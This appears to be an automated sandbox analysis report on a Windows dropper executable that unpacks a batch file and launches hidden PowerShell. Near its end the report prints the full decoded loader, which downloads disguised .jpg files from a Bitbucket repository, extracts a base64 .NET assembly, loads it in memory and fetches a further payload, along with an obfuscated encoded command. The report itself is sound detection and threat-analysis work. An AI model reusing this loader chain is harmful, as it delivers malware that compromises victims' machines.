Source: powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.bitbucket.org
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ad
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ap
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ve
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/dist/webpack
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/img/default_
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/img/logos/bi
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/jsi18n/en/dj
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC72E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/blog/announcing-our-new-ci-cd-runtime-with-up-to-8x-faster-builds
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/blog/wp-json/wp/v2/posts?categories=196&context=embed&per_page=6&orderby=date&
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/gateway/api/emoji/
Source: powershell.exe, 00000004.00000002.1558255319.000002320A7F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1568391237.0000023222708000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC73BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521063339.000001EEC3EE5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1520809316.000001EEC3E14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521127326.000001EEC3F10000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1545100978.000001EEDDE70000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1520786541.000001EEC3DC4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521127326.000001EEC3F15000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC5C11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1520748169.000001EEC3DA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC5E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723
Source: powershell.exe, 00000004.00000002.1558255319.000002320A7F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1568391237.0000023222708000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC73BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521063339.000001EEC3EE5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1520809316.000001EEC3E14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521127326.000001EEC3F10000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1545100978.000001EEDDE70000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1520786541.000001EEC3DC4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521127326.000001EEC3F15000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC5C11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1520748169.000001EEC3DA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC5E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.status.atlassian.com/
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bqlf8qjztdtr.statuspage.io
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: powershell.exe, 00000005.00000002.1541729825.000001EED5C83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1541729825.000001EED5C83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1541729825.000001EED5C83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC5E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC6843000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000005.00000002.1545100978.000001EEDDEC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/login
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/login?prompt=login&continue=https%3A%2F%2Fbitbucket.org%2Fhgdfhdfgd%2Ft
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/logout
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/manage-profile/
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/profile/rest/profile"
Source: powershell.exe, 00000005.00000002.1541729825.000001EED5DC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7698000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1541729825.000001EED5C83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC73BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC73BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://preferences.atlassian.com
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.atlassian.com/try/cloud/signup?bundle=bitbucket

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown

HTTPS traffic detected: 185.166.143.49:443 -> 192.168.2.8:49704 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 4640, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6592, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C22D70 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,		0_2_00007FF681C22D70
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C21BF4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,		0_2_00007FF681C21BF4

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C21D10	0_2_00007FF681C21D10
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C26F14	0_2_00007FF681C26F14
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C268F0	0_2_00007FF681C268F0
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C22EDC	0_2_00007FF681C22EDC
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C25F80	0_2_00007FF681C25F80
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C241B4	0_2_00007FF681C241B4
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C21BF4	0_2_00007FF681C21BF4
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C25F7E	0_2_00007FF681C25F7E
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C2366E	0_2_00007FF681C2366E

Source: 0XVZC3kfwL.exe

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, Windows 2000/XP setup, 3558 bytes, 1 file, at 0x2c +A "gam.bat", ID 666, number 1, 1 datablock, 0x1503 compression

Source: 0XVZC3kfwL.exe	Binary or memory string: OriginalFilename vs 0XVZC3kfwL.exe
Source: 0XVZC3kfwL.exe, 00000000.00000000.1455637940.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs 0XVZC3kfwL.exe
Source: 0XVZC3kfwL.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs 0XVZC3kfwL.exe

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 4423
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 4423			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 4640, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6592, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.spre.evad.winEXE@9/6@1/1

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C26F14 GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_00007FF681C26F14

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C21BF4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,

0_2_00007FF681C21BF4

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

0_2_00007FF681C26F14

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C22EDC memset,memset,CreateEventA,SetEvent,CreateMutexA,GetLastError,CloseHandle,FindResourceExA,LoadResource,#17,

0_2_00007FF681C22EDC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6220:120:WilError_03

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Process created: C:\Windows\System32\cmd.exe cmd /c gam.bat

Source: 0XVZC3kfwL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"

Source: 0XVZC3kfwL.exe

ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Users\user\Desktop\0XVZC3kfwL.exe "C:\Users\user\Desktop\0XVZC3kfwL.exe"
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Process created: C:\Windows\System32\cmd.exe cmd /c gam.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Process created: C:\Windows\System32\cmd.exe cmd /c gam.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 